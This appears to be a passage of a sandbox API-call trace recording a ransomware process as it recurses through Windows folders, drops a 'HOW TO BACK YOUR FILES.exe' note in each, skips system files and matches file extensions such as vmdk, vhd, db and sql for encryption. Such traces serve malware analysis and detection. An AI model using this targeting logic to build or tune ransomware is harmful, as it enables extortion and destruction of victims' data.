	[0064.744] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.744] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc30
	[0064.744] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0064.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a010 | out: hHeap=0x580000) returned 1
	[0064.744] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0064.744] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 82
	[0064.744] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0064.745] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.745] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.745] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.745] GetLastError () returned 0x0
	[0064.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.745] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.745] CloseHandle (hObject=0x15c) returned 1
	[0064.746] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.746] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.746] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.746] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.746] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.746] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.746] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.746] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.746] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.746] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.746] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.746] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f46fa90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.746] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.746] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0064.746] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0064.747] lstrlenW (lpString="packages") returned 8
	[0064.747] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned 84
	[0064.747] lstrcpyW (in: lpString1=0x119e6ae, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0064.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0064.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0064.747] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc30 | out: ListHead=0x5b75f0, ListEntry=0x59fc30) returned 0x59fc90
	[0064.747] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0064.747] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.747] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc30
	[0064.747] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0064.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0064.747] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0064.747] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned 91
	[0064.747] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages"
	[0064.747] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.747] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.748] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.748] GetLastError () returned 0x0
	[0064.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.748] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.748] CloseHandle (hObject=0x15c) returned 1
	[0064.748] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.748] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.748] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.748] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.748] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.748] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.748] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.748] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.748] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.748] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.748] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.748] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f495bf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.748] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.748] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0064.748] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="Apollon865.txt.exe") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2=".") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="..") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="windows") returned -1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="bootmgr") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="temp") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="pagefile.sys") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="boot") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="ids.txt") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="ntuser.dat") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="perflogs") returned 1
	[0064.749] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="MSBuild") returned 1
	[0064.749] lstrlenW (lpString="vcRuntimeMinimum_x86") returned 20
	[0064.749] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*") returned 93
	[0064.749] lstrcpyW (in: lpString1=0x119e6c0, lpString2="vcRuntimeMinimum_x86" | out: lpString1="vcRuntimeMinimum_x86") returned="vcRuntimeMinimum_x86"
	[0064.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0064.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe2) returned 0x59a010
	[0064.749] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc30 | out: ListHead=0x5b75f0, ListEntry=0x59fc30) returned 0x59fc90
	[0064.749] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0064.749] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.749] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc30
	[0064.749] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0064.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a010 | out: hHeap=0x580000) returned 1
	[0064.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0064.749] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned 112
	[0064.749] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86"
	[0064.749] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.749] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.750] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.750] GetLastError () returned 0x0
	[0064.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.750] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.750] CloseHandle (hObject=0x15c) returned 1
	[0064.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.750] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.750] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.751] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.751] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.751] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.751] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f495bf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f495bf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.751] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.751] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.751] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.751] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.751] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x884c0c00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x884c0c00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x884c0c00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0064.751] lstrlenW (lpString="cab1.cab") returned 8
	[0064.751] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned 114
	[0064.751] lstrcpyW (in: lpString1=0x119e6ea, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0064.751] lstrlenW (lpString="cab1.cab") returned 8
	[0064.751] lstrlenW (lpString="Apollon865") returned 10
	[0064.751] lstrlenW (lpString=".dll") returned 4
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0064.751] lstrlenW (lpString=".lnk") returned 4
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0064.751] lstrlenW (lpString=".ini") returned 4
	[0064.751] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0064.751] lstrlenW (lpString=".sys") returned 4
	[0064.752] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0064.752] lstrlenW (lpString="cab1.cab") returned 8
	[0064.752] lstrlenW (lpString="bak") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0064.752] lstrlenW (lpString="ba_") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0064.752] lstrlenW (lpString="dbb") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0064.752] lstrlenW (lpString="vmdk") returned 4
	[0064.752] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0064.752] lstrlenW (lpString="rar") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0064.752] lstrlenW (lpString="zip") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0064.752] lstrlenW (lpString="tgz") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0064.752] lstrlenW (lpString="vbox") returned 4
	[0064.752] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0064.752] lstrlenW (lpString="vdi") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0064.752] lstrlenW (lpString="vhd") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0064.752] lstrlenW (lpString="vhdx") returned 4
	[0064.752] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0064.752] lstrlenW (lpString="avhd") returned 4
	[0064.752] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0064.752] lstrlenW (lpString="db") returned 2
	[0064.752] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0064.752] lstrlenW (lpString="db2") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0064.752] lstrlenW (lpString="db3") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0064.752] lstrlenW (lpString="dbf") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0064.752] lstrlenW (lpString="mdf") returned 3
	[0064.752] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0064.753] lstrlenW (lpString="mdb") returned 3
	[0064.753] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0064.753] lstrlenW (lpString="sql") returned 3
